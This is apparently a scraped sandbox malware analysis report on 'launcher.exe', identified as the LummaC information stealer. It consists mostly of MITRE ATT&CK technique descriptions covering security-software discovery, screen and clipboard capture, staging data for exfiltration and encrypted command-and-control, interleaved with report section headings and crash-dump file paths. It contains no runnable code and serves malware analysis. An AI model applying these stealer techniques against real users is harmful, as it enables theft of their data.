Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report launcher.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_launcher.exe_unk_b0bb7f6d90ed2f8ba3c75ebe9dc55dc31e4cb28_122839a5_de3fb72a-2063-40a2-b49d-422c40f56fc6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE825.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE910.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE930.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
launcher.exe

Function 003CF7BD Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 0036230A Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 84
synchronizationthreadwindowCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre